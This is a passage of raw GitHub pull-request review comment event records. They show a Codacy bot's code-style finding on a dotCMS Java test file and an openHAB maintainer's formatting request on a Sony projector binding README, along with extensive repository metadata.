vatars3.githubusercontent.com/u/1005263?v=4","gravatar_id":"","url":"https://api.github.com/users/dotCMS","html_url":"https://github.com/dotCMS","followers_url":"https://api.github.com/users/dotCMS/followers","following_url":"https://api.github.com/users/dotCMS/following{/other_user}","gists_url":"https://api.github.com/users/dotCMS/gists{/gist_id}","starred_url":"https://api.github.com/users/dotCMS/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dotCMS/subscriptions","organizations_url":"https://api.github.com/users/dotCMS/orgs","repos_url":"https://api.github.com/users/dotCMS/repos","events_url":"https://api.github.com/users/dotCMS/events{/privacy}","received_events_url":"https://api.github.com/users/dotCMS/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/dotCMS/core","description":"Source Code for dotCMS Java Enterprise Content Management System","fork":false,"url":"https://api.github.com/repos/dotCMS/core","forks_url":"https://api.github.com/repos/dotCMS/core/forks","keys_url":"https://api.github.com/repos/dotCMS/core/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dotCMS/core/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dotCMS/core/teams","hooks_url":"https://api.github.com/repos/dotCMS/core/hooks","issue_events_url":"https://api.github.com/repos/dotCMS/core/issues/events{/number}","events_url":"https://api.github.com/repos/dotCMS/core/events","assignees_url":"https://api.github.com/repos/dotCMS/core/assignees{/user}","branches_url":"https://api.github.com/repos/dotCMS/core/branches{/branch}","tags_url":"https://api.github.com/repos/dotCMS/core/tags","blobs_url":"https://api.github.com/repos/dotCMS/core/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dotCMS/core/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dotCMS/core/git/refs{/sha}","trees_url":"https://api.github.com/repos/dotCMS/core/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dotCMS/core/statuses/{sha}","languages_url":"https://api.github.com/repos/dotCMS/core/languages","stargazers_url":"https://api.github.com/repos/dotCMS/core/stargazers","contributors_url":"https://api.github.com/repos/dotCMS/core/contributors","subscribers_url":"https://api.github.com/repos/dotCMS/core/subscribers","subscription_url":"https://api.github.com/repos/dotCMS/core/subscription","commits_url":"https://api.github.com/repos/dotCMS/core/commits{/sha}","git_commits_url":"https://api.github.com/repos/dotCMS/core/git/commits{/sha}","comments_url":"https://api.github.com/repos/dotCMS/core/comments{/number}","issue_comment_url":"https://api.github.com/repos/dotCMS/core/issues/comments{/number}","contents_url":"https://api.github.com/repos/dotCMS/core/contents/{+path}","compare_url":"https://api.github.com/repos/dotCMS/core/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dotCMS/core/merges","archive_url":"https://api.github.com/repos/dotCMS/core/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dotCMS/core/downloads","issues_url":"https://api.github.com/repos/dotCMS/core/issues{/number}","pulls_url":"https://api.github.com/repos/dotCMS/core/pulls{/number}","milestones_url":"https://api.github.com/repos/dotCMS/core/milestones{/number}","notifications_url":"https://api.github.com/repos/dotCMS/core/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dotCMS/core/labels{/name}","releases_url":"https://api.github.com/repos/dotCMS/core/releases{/id}","deployments_url":"https://api.github.com/repos/dotCMS/core/deployments","created_at":"2012-03-15T15:24:14Z","updated_at":"2019-08-21T06:10:48Z","pushed_at":"2019-08-21T15:19:44Z","git_url":"git://github.com/dotCMS/core.git","ssh_url":"git@github.com:dotCMS/core.git","clone_url":"https://github.com/dotCMS/core.git","svn_url":"https://github.com/dotCMS/core","homepage":"http://dotcms.com","size":380327,"stargazers_count":505,"watchers_count":505,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":350,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2138,"license":{"key":"gpl-3.0","name":"GNU General Public License v3.0","spdx_id":"GPL-3.0","url":"https://api.github.com/licenses/gpl-3.0","node_id":"MDc6TGljZW5zZTk="},"forks":350,"open_issues":2138,"watchers":505,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/dotCMS/core/pulls/17036"},"html":{"href":"https://github.com/dotCMS/core/pull/17036"},"issue":{"href":"https://api.github.com/repos/dotCMS/core/issues/17036"},"comments":{"href":"https://api.github.com/repos/dotCMS/core/issues/17036/comments"},"review_comments":{"href":"https://api.github.com/repos/dotCMS/core/pulls/17036/comments"},"review_comment":{"href":"https://api.github.com/repos/dotCMS/core/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/dotCMS/core/pulls/17036/commits"},"statuses":{"href":"https://api.github.com/repos/dotCMS/core/statuses/b9b85eeb98e23f00bd6211b0d4d3c50ae4d6e329"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 3729629,
"name": "dotCMS/core",
"url": "https://api.github.com/repos/dotCMS/core"
}
|
{
"id": 19940114,
"login": "codacy-bot",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/19940114?",
"url": "https://api.github.com/users/codacy-bot"
}
|
{
"id": 1005263,
"login": "dotCMS",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1005263?",
"url": "https://api.github.com/orgs/dotCMS"
}
| 2019-08-21T15:22:30 |
10255413350
|
{"actor":{"display_login":"codacy-bot"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/dotCMS/core/pulls/comments/306782496","pull_request_review_id":265984817,"id":306782496,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMwNjc4MjQ5Ng==","diff_hunk":"@@ -0,0 +1,127 @@\n+package com.dotcms.contenttype.model.field.layout;\n+\n+import com.dotcms.contenttype.model.field.*;\n+import com.dotcms.contenttype.model.type.ContentType;\n+import com.dotcms.contenttype.transform.contenttype.ContentTypeInternationalization;\n+import com.dotcms.contenttype.transform.field.JsonFieldTransformer;\n+import com.dotcms.util.CollectionsUtils;\n+import com.dotcms.util.IntegrationTestInitService;\n+import com.dotmarketing.business.APILocator;\n+import com.dotmarketing.exception.DotDataException;\n+import com.dotmarketing.exception.DotSecurityException;\n+import com.fasterxml.jackson.core.JsonGenerator;\n+import com.fasterxml.jackson.databind.SerializerProvider;\n+import com.liferay.portal.model.User;\n+import org.junit.BeforeClass;\n+import org.junit.Test;\n+import org.junit.runner.RunWith;\n+import org.powermock.api.mockito.PowerMockito;\n+import org.powermock.core.classloader.annotations.PrepareForTest;\n+import org.powermock.modules.junit4.PowerMockRunner;\n+\n+import java.io.IOException;\n+import java.util.List;\n+import java.util.Map;\n+\n+import static org.mockito.Mockito.mock;\n+import static org.mockito.Mockito.verify;\n+import static org.mockito.Mockito.when;\n+\n+@PrepareForTest(FieldUtil.class)\n+@RunWith(PowerMockRunner.class)\n+public class FieldLayoutColumnSerializerTest {\n+\n+ @BeforeClass\n+ public static void prepare() throws Exception{","path":"dotCMS/src/integration-test/java/com/dotcms/contenttype/model/field/layout/FieldLayoutColumnSerializerTest.java","position":35,"original_position":35,"commit_id":"1aa94205a7401c21363b47d601424e836a77503c","original_commit_id":"1aa94205a7401c21363b47d601424e836a77503c","user":{"login":"codacy-bot","id":19940114,"node_id":"MDQ6VXNlcjE5OTQwMTE0","avatar_url":"https://avatars1.githubusercontent.com/u/19940114?v=4","gravatar_id":"","url":"https://api.github.com/users/codacy-bot","html_url":"https://github.com/codacy-bot","followers_url":"https://api.github.com/users/codacy-bot/followers","following_url":"https://api.github.com/users/codacy-bot/following{/other_user}","gists_url":"https://api.github.com/users/codacy-bot/gists{/gist_id}","starred_url":"https://api.github.com/users/codacy-bot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/codacy-bot/subscriptions","organizations_url":"https://api.github.com/users/codacy-bot/orgs","repos_url":"https://api.github.com/users/codacy-bot/repos","events_url":"https://api.github.com/users/codacy-bot/events{/privacy}","received_events_url":"https://api.github.com/users/codacy-bot/received_events","type":"User","site_admin":false},"body":" Issue found: [A method/constructor should not explicitly throw java.lang.Exception](https://app.codacy.com/app/dotCMS/core/pullRequest?prid=3884868)","created_at":"2019-07-24T12:29:59Z","updated_at":"2019-07-24T12:30:00Z","html_url":"https://github.com/dotCMS/core/pull/16892#discussion_r306782496","pull_request_url":"https://api.github.com/repos/dotCMS/core/pulls/16892","author_association":"NONE","_links":{"self":{"href":"https://api.github.com/repos/dotCMS/core/pulls/comments/306782496"},"html":{"href":"https://github.com/dotCMS/core/pull/16892#discussion_r306782496"},"pull_request":{"href":"https://api.github.com/repos/dotCMS/core/pulls/16892"}}},"pull_request":{"url":"https://api.github.com/repos/dotCMS/core/pulls/16892","id":299404834,"node_id":"MDExOlB1bGxSZXF1ZXN0Mjk5NDA0ODM0","html_url":"https://github.com/dotCMS/core/pull/16892","diff_url":"https://github.com/dotCMS/core/pull/16892.diff","patch_url":"https://github.com/dotCMS/core/pull/16892.patch","issue_url":"https://api.github.com/repos/dotCMS/core/issues/16892","number":16892,"state":"open","locked":false,"title":"dotCMS/core#16734 Internationalization (i18n) dot-form and fields","user":{"login":"freddyucv","id":10408015,"node_id":"MDQ6VXNlcjEwNDA4MDE1","avatar_url":"https://avatars1.githubusercontent.com/u/10408015?v=4","gravatar_id":"","url":"https://api.github.com/users/freddyucv","html_url":"https://github.com/freddyucv","followers_url":"https://api.github.com/users/freddyucv/followers","following_url":"https://api.github.com/users/freddyucv/following{/other_user}","gists_url":"https://api.github.com/users/freddyucv/gists{/gist_id}","starred_url":"https://api.github.com/users/freddyucv/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/freddyucv/subscriptions","organizations_url":"https://api.github.com/users/freddyucv/orgs","repos_url":"https://api.github.com/users/freddyucv/repos","events_url":"https://api.github.com/users/freddyucv/events{/privacy}","received_events_url":"https://api.github.com/users/freddyucv/received_events","type":"User","site_admin":false},"body":"","created_at":"2019-07-19T16:38:41Z","updated_at":"2019-07-24T12:30:00Z","closed_at":null,"merged_at":null,"merge_commit_sha":"e6bf952798f05966854f55f829d653883acadb97","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/dotCMS/core/pulls/16892/commits","review_comments_url":"https://api.github.com/repos/dotCMS/core/pulls/16892/comments","review_comment_url":"https://api.github.com/repos/dotCMS/core/pulls/comments{/number}","comments_url":"https://api.github.com/repos/dotCMS/core/issues/16892/comments","statuses_url":"https://api.github.com/repos/dotCMS/core/statuses/1aa94205a7401c21363b47d601424e836a77503c","head":{"label":"dotCMS:issue-16734-Internationalization-i18n-dot-form-and-fields","ref":"issue-16734-Internationalization-i18n-dot-form-and-fields","sha":"1aa94205a7401c21363b47d601424e836a77503c","user":{"login":"dotCMS","id":1005263,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMDUyNjM=","avatar_url":"https://avatars3.githubusercontent.com/u/1005263?v=4","gravatar_id":"","url":"https://api.github.com/users/dotCMS","html_url":"https://github.com/dotCMS","followers_url":"https://api.github.com/users/dotCMS/followers","following_url":"https://api.github.com/users/dotCMS/following{/other_user}","gists_url":"https://api.github.com/users/dotCMS/gists{/gist_id}","starred_url":"https://api.github.com/users/dotCMS/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dotCMS/subscriptions","organizations_url":"https://api.github.com/users/dotCMS/orgs","repos_url":"https://api.github.com/users/dotCMS/repos","events_url":"https://api.github.com/users/dotCMS/events{/privacy}","received_events_url":"https://api.github.com/users/dotCMS/received_events","type":"Organization","site_admin":false},"repo":{"id":3729629,"node_id":"MDEwOlJlcG9zaXRvcnkzNzI5NjI5","name":"core","full_name":"dotCMS/core","private":false,"owner":{"login":"dotCMS","id":1005263,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMDUyNjM=","avatar_url":"https://avatars3.githubusercontent.com/u/1005263?v=4","gravatar_id":"","url":"https://api.github.com/users/dotCMS","html_url":"https://github.com/dotCMS","followers_url":"https://api.github.com/users/dotCMS/followers","following_url":"https://api.github.com/users/dotCMS/following{/other_user}","gists_url":"https://api.github.com/users/dotCMS/gists{/gist_id}","starred_url":"https://api.github.com/users/dotCMS/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dotCMS/subscriptions","organizations_url":"https://api.github.com/users/dotCMS/orgs","repos_url":"https://api.github.com/users/dotCMS/repos","events_url":"https://api.github.com/users/dotCMS/events{/privacy}","received_events_url":"https://api.github.com/users/dotCMS/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/dotCMS/core","description":"Source Code for dotCMS Java Enterprise Content Management System","fork":false,"url":"https://api.github.com/repos/dotCMS/core","forks_url":"https://api.github.com/repos/dotCMS/core/forks","keys_url":"https://api.github.com/repos/dotCMS/core/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dotCMS/core/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dotCMS/core/teams","hooks_url":"https://api.github.com/repos/dotCMS/core/hooks","issue_events_url":"https://api.github.com/repos/dotCMS/core/issues/events{/number}","events_url":"https://api.github.com/repos/dotCMS/core/events","assignees_url":"https://api.github.com/repos/dotCMS/core/assignees{/user}","branches_url":"https://api.github.com/repos/dotCMS/core/branches{/branch}","tags_url":"https://api.github.com/repos/dotCMS/core/tags","blobs_url":"https://api.github.com/repos/dotCMS/core/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dotCMS/core/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dotCMS/core/git/refs{/sha}","trees_url":"https://api.github.com/repos/dotCMS/core/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dotCMS/core/statuses/{sha}","languages_url":"https://api.github.com/repos/dotCMS/core/languages","stargazers_url":"https://api.github.com/repos/dotCMS/core/stargazers","contributors_url":"https://api.github.com/repos/dotCMS/core/contributors","subscribers_url":"https://api.github.com/repos/dotCMS/core/subscribers","subscription_url":"https://api.github.com/repos/dotCMS/core/subscription","commits_url":"https://api.github.com/repos/dotCMS/core/commits{/sha}","git_commits_url":"https://api.github.com/repos/dotCMS/core/git/commits{/sha}","comments_url":"https://api.github.com/repos/dotCMS/core/comments{/number}","issue_comment_url":"https://api.github.com/repos/dotCMS/core/issues/comments{/number}","contents_url":"https://api.github.com/repos/dotCMS/core/contents/{+path}","compare_url":"https://api.github.com/repos/dotCMS/core/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dotCMS/core/merges","archive_url":"https://api.github.com/repos/dotCMS/core/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dotCMS/core/downloads","issues_url":"https://api.github.com/repos/dotCMS/core/issues{/number}","pulls_url":"https://api.github.com/repos/dotCMS/core/pulls{/number}","milestones_url":"https://api.github.com/repos/dotCMS/core/milestones{/number}","notifications_url":"https://api.github.com/repos/dotCMS/core/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dotCMS/core/labels{/name}","releases_url":"https://api.github.com/repos/dotCMS/core/releases{/id}","deployments_url":"https://api.github.com/repos/dotCMS/core/deployments","created_at":"2012-03-15T15:24:14Z","updated_at":"2019-07-23T14:40:52Z","pushed_at":"2019-07-24T12:21:37Z","git_url":"git://github.com/dotCMS/core.git","ssh_url":"git@github.com:dotCMS/core.git","clone_url":"https://github.com/dotCMS/core.git","svn_url":"https://github.com/dotCMS/core","homepage":"http://dotcms.com","size":379513,"stargazers_count":491,"watchers_count":491,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":349,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2129,"license":{"key":"gpl-3.0","name":"GNU General Public License v3.0","spdx_id":"GPL-3.0","url":"https://api.github.com/licenses/gpl-3.0","node_id":"MDc6TGljZW5zZTk="},"forks":349,"open_issues":2129,"watchers":491,"default_branch":"master"}},"base":{"label":"dotCMS:master","ref":"master","sha":"c6d21e55f0aa0055dd8a39d68d1d99d978e9336c","user":{"login":"dotCMS","id":1005263,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMDUyNjM=","avatar_url":"https://avatars3.githubusercontent.com/u/1005263?v=4","gravatar_id":"","url":"https://api.github.com/users/dotCMS","html_url":"https://github.com/dotCMS","followers_url":"https://api.github.com/users/dotCMS/followers","following_url":"https://api.github.com/users/dotCMS/following{/other_user}","gists_url":"https://api.github.com/users/dotCMS/gists{/gist_id}","starred_url":"https://api.github.com/users/dotCMS/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dotCMS/subscriptions","organizations_url":"https://api.github.com/users/dotCMS/orgs","repos_url":"https://api.github.com/users/dotCMS/repos","events_url":"https://api.github.com/users/dotCMS/events{/privacy}","received_events_url":"https://api.github.com/users/dotCMS/received_events","type":"Organization","site_admin":false},"repo":{"id":3729629,"node_id":"MDEwOlJlcG9zaXRvcnkzNzI5NjI5","name":"core","full_name":"dotCMS/core","private":false,"owner":{"login":"dotCMS","id":1005263,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMDUyNjM=","avatar_url":"https://avatars3.githubusercontent.com/u/1005263?v=4","gravatar_id":"","url":"https://api.github.com/users/dotCMS","html_url":"https://github.com/dotCMS","followers_url":"https://api.github.com/users/dotCMS/followers","following_url":"https://api.github.com/users/dotCMS/following{/other_user}","gists_url":"https://api.github.com/users/dotCMS/gists{/gist_id}","starred_url":"https://api.github.com/users/dotCMS/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dotCMS/subscriptions","organizations_url":"https://api.github.com/users/dotCMS/orgs","repos_url":"https://api.github.com/users/dotCMS/repos","events_url":"https://api.github.com/users/dotCMS/events{/privacy}","received_events_url":"https://api.github.com/users/dotCMS/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/dotCMS/core","description":"Source Code for dotCMS Java Enterprise Content Management System","fork":false,"url":"https://api.github.com/repos/dotCMS/core","forks_url":"https://api.github.com/repos/dotCMS/core/forks","keys_url":"https://api.github.com/repos/dotCMS/core/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dotCMS/core/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dotCMS/core/teams","hooks_url":"https://api.github.com/repos/dotCMS/core/hooks","issue_events_url":"https://api.github.com/repos/dotCMS/core/issues/events{/number}","events_url":"https://api.github.com/repos/dotCMS/core/events","assignees_url":"https://api.github.com/repos/dotCMS/core/assignees{/user}","branches_url":"https://api.github.com/repos/dotCMS/core/branches{/branch}","tags_url":"https://api.github.com/repos/dotCMS/core/tags","blobs_url":"https://api.github.com/repos/dotCMS/core/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dotCMS/core/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dotCMS/core/git/refs{/sha}","trees_url":"https://api.github.com/repos/dotCMS/core/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dotCMS/core/statuses/{sha}","languages_url":"https://api.github.com/repos/dotCMS/core/languages","stargazers_url":"https://api.github.com/repos/dotCMS/core/stargazers","contributors_url":"https://api.github.com/repos/dotCMS/core/contributors","subscribers_url":"https://api.github.com/repos/dotCMS/core/subscribers","subscription_url":"https://api.github.com/repos/dotCMS/core/subscription","commits_url":"https://api.github.com/repos/dotCMS/core/commits{/sha}","git_commits_url":"https://api.github.com/repos/dotCMS/core/git/commits{/sha}","comments_url":"https://api.github.com/repos/dotCMS/core/comments{/number}","issue_comment_url":"https://api.github.com/repos/dotCMS/core/issues/comments{/number}","contents_url":"https://api.github.com/repos/dotCMS/core/contents/{+path}","compare_url":"https://api.github.com/repos/dotCMS/core/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dotCMS/core/merges","archive_url":"https://api.github.com/repos/dotCMS/core/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dotCMS/core/downloads","issues_url":"https://api.github.com/repos/dotCMS/core/issues{/number}","pulls_url":"https://api.github.com/repos/dotCMS/core/pulls{/number}","milestones_url":"https://api.github.com/repos/dotCMS/core/milestones{/number}","notifications_url":"https://api.github.com/repos/dotCMS/core/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dotCMS/core/labels{/name}","releases_url":"https://api.github.com/repos/dotCMS/core/releases{/id}","deployments_url":"https://api.github.com/repos/dotCMS/core/deployments","created_at":"2012-03-15T15:24:14Z","updated_at":"2019-07-23T14:40:52Z","pushed_at":"2019-07-24T12:21:37Z","git_url":"git://github.com/dotCMS/core.git","ssh_url":"git@github.com:dotCMS/core.git","clone_url":"https://github.com/dotCMS/core.git","svn_url":"https://github.com/dotCMS/core","homepage":"http://dotcms.com","size":379513,"stargazers_count":491,"watchers_count":491,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":349,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2129,"license":{"key":"gpl-3.0","name":"GNU General Public License v3.0","spdx_id":"GPL-3.0","url":"https://api.github.com/licenses/gpl-3.0","node_id":"MDc6TGljZW5zZTk="},"forks":349,"open_issues":2129,"watchers":491,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/dotCMS/core/pulls/16892"},"html":{"href":"https://github.com/dotCMS/core/pull/16892"},"issue":{"href":"https://api.github.com/repos/dotCMS/core/issues/16892"},"comments":{"href":"https://api.github.com/repos/dotCMS/core/issues/16892/comments"},"review_comments":{"href":"https://api.github.com/repos/dotCMS/core/pulls/16892/comments"},"review_comment":{"href":"https://api.github.com/repos/dotCMS/core/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/dotCMS/core/pulls/16892/commits"},"statuses":{"href":"https://api.github.com/repos/dotCMS/core/statuses/1aa94205a7401c21363b47d601424e836a77503c"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 3729629,
"name": "dotCMS/core",
"url": "https://api.github.com/repos/dotCMS/core"
}
|
{
"id": 19940114,
"login": "codacy-bot",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/19940114?",
"url": "https://api.github.com/users/codacy-bot"
}
|
{
"id": 1005263,
"login": "dotCMS",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1005263?",
"url": "https://api.github.com/orgs/dotCMS"
}
| 2019-07-24T12:29:59 |
10074598206
|
{"actor":{"display_login":"codacy-bot"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/openhab/openhab2-addons/pulls/comments/308798369","pull_request_review_id":268474239,"id":308798369,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMwODc5ODM2OQ==","diff_hunk":"@@ -0,0 +1,389 @@\n+# SonyProjector Binding\n+\n+This binding can be used to conrol Sony Projectors through:\n+\n+* an Ethernet connection using PJ Talk\n+* or a (direct) serial connection\n+* or a serial over IP connection\n+\n+For serial connection, you have to use a D-Sub 9 Pin cross (reverse) cable also called null modem. For this cable, you will need a female connector on openHAB server side and a male connector on projector side (projector connector is female). For users without serial connector on server side, of course you can add a serial to USB adapter to this serial cable. Has been tested successfully using [this cable](https://www.amazon.fr/UGREEN-PL2303-Windows-Chrome-Connecteur/dp/B00QUZY4UG/ref=sr_1_3?ie=UTF8&qid=1548652565&sr=8-3&keywords=serial+usb) connected to a Windows 10 PC and Raspberry PI 2. In such cases, setup a serial connection thing type in openHAB.","path":"bundles/org.openhab.binding.sonyprojector/README.md","position":9,"original_position":9,"commit_id":"3e133aab18f2c81337578d1282eb633efd1ebe60","original_commit_id":"3e133aab18f2c81337578d1282eb633efd1ebe60","user":{"login":"kaikreuzer","id":3244965,"node_id":"MDQ6VXNlcjMyNDQ5NjU=","avatar_url":"https://avatars3.githubusercontent.com/u/3244965?v=4","gravatar_id":"","url":"https://api.github.com/users/kaikreuzer","html_url":"https://github.com/kaikreuzer","followers_url":"https://api.github.com/users/kaikreuzer/followers","following_url":"https://api.github.com/users/kaikreuzer/following{/other_user}","gists_url":"https://api.github.com/users/kaikreuzer/gists{/gist_id}","starred_url":"https://api.github.com/users/kaikreuzer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kaikreuzer/subscriptions","organizations_url":"https://api.github.com/users/kaikreuzer/orgs","repos_url":"https://api.github.com/users/kaikreuzer/repos","events_url":"https://api.github.com/users/kaikreuzer/events{/privacy}","received_events_url":"https://api.github.com/users/kaikreuzer/received_events","type":"User","site_admin":false},"body":"Please add a line break after every sentence.","created_at":"2019-07-30T15:43:05Z","updated_at":"2019-07-30T15:44:17Z","html_url":"https://github.com/openhab/openhab2-addons/pull/4842#discussion_r308798369","pull_request_url":"https://api.github.com/repos/openhab/openhab2-addons/pulls/4842","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/openhab/openhab2-addons/pulls/comments/308798369"},"html":{"href":"https://github.com/openhab/openhab2-addons/pull/4842#discussion_r308798369"},"pull_request":{"href":"https://api.github.com/repos/openhab/openhab2-addons/pulls/4842"}}},"pull_request":{"url":"https://api.github.com/repos/openhab/openhab2-addons/pulls/4842","id":251669937,"node_id":"MDExOlB1bGxSZXF1ZXN0MjUxNjY5OTM3","html_url":"https://github.com/openhab/openhab2-addons/pull/4842","diff_url":"https://github.com/openhab/openhab2-addons/pull/4842.diff","patch_url":"https://github.com/openhab/openhab2-addons/pull/4842.patch","issue_url":"https://api.github.com/repos/openhab/openhab2-addons/issues/4842","number":4842,"state":"open","locked":false,"title":"[sonyprojector] Sony Projector Binding initial contribution","user":{"login":"lolodomo","id":10186704,"node_id":"MDQ6VXNlcjEwMTg2NzA0","avatar_url":"https://avatars0.githubusercontent.com/u/10186704?v=4","gravatar_id":"","url":"https://api.github.com/users/lolodomo","html_url":"https://github.com/lolodomo","followers_url":"https://api.github.com/users/lolodomo/followers","following_url":"https://api.github.com/users/lolodomo/following{/other_user}","gists_url":"https://api.github.com/users/lolodomo/gists{/gist_id}","starred_url":"https://api.github.com/users/lolodomo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lolodomo/subscriptions","organizations_url":"https://api.github.com/users/lolodomo/orgs","repos_url":"https://api.github.com/users/lolodomo/repos","events_url":"https://api.github.com/users/lolodomo/events{/privacy}","received_events_url":"https://api.github.com/users/lolodomo/received_events","type":"User","site_admin":false},"body":"Signed-off-by: Laurent Garnier <lg.hc@free.fr>\r\nAlso-by: Markus Wehrle <markus@mwehrle.de>\r\n\r\nFixes #4354","created_at":"2019-02-09T11:55:50Z","updated_at":"2019-07-30T15:44:17Z","closed_at":null,"merged_at":null,"merge_commit_sha":"5a0c5f579f33913328684073045615766679156f","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":1260833238,"node_id":"MDU6TGFiZWwxMjYwODMzMjM4","url":"https://api.github.com/repos/openhab/openhab2-addons/labels/cre","name":"cre","color":"f95e16","default":false},{"id":159935827,"node_id":"MDU6TGFiZWwxNTk5MzU4Mjc=","url":"https://api.github.com/repos/openhab/openhab2-addons/labels/new%20binding","name":"new binding","color":"5319e7","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/openhab/openhab2-addons/pulls/4842/commits","review_comments_url":"https://api.github.com/repos/openhab/openhab2-addons/pulls/4842/comments","review_comment_url":"https://api.github.com/repos/openhab/openhab2-addons/pulls/comments{/number}","comments_url":"https://api.github.com/repos/openhab/openhab2-addons/issues/4842/comments","statuses_url":"https://api.github.com/repos/openhab/openhab2-addons/statuses/3e133aab18f2c81337578d1282eb633efd1ebe60","head":{"label":"lolodomo:sonyprojector","ref":"sonyprojector","sha":"3e133aab18f2c81337578d1282eb633efd1ebe60","user":{"login":"lolodomo","id":10186704,"node_id":"MDQ6VXNlcjEwMTg2NzA0","avatar_url":"https://avatars0.githubusercontent.com/u/10186704?v=4","gravatar_id":"","url":"https://api.github.com/users/lolodomo","html_url":"https://github.com/lolodomo","followers_url":"https://api.github.com/users/lolodomo/followers","following_url":"https://api.github.com/users/lolodomo/following{/other_user}","gists_url":"https://api.github.com/users/lolodomo/gists{/gist_id}","starred_url":"https://api.github.com/users/lolodomo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lolodomo/subscriptions","organizations_url":"https://api.github.com/users/lolodomo/orgs","repos_url":"https://api.github.com/users/lolodomo/repos","events_url":"https://api.github.com/users/lolodomo/events{/privacy}","received_events_url":"https://api.github.com/users/lolodomo/received_events","type":"User","site_admin":false},"repo":{"id":58046798,"node_id":"MDEwOlJlcG9zaXRvcnk1ODA0Njc5OA==","name":"openhab2-addons","full_name":"lolodomo/openhab2-addons","private":false,"owner":{"login":"lolodomo","id":10186704,"node_id":"MDQ6VXNlcjEwMTg2NzA0","avatar_url":"https://avatars0.githubusercontent.com/u/10186704?v=4","gravatar_id":"","url":"https://api.github.com/users/lolodomo","html_url":"https://github.com/lolodomo","followers_url":"https://api.github.com/users/lolodomo/followers","following_url":"https://api.github.com/users/lolodomo/following{/other_user}","gists_url":"https://api.github.com/users/lolodomo/gists{/gist_id}","starred_url":"https://api.github.com/users/lolodomo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lolodomo/subscriptions","organizations_url":"https://api.github.com/users/lolodomo/orgs","repos_url":"https://api.github.com/users/lolodomo/repos","events_url":"https://api.github.com/users/lolodomo/events{/privacy}","received_events_url":"https://api.github.com/users/lolodomo/received_events","type":"User","site_admin":false},"html_url":"https://github.com/lolodomo/openhab2-addons","description":"The next-generation open Home Automation Bus 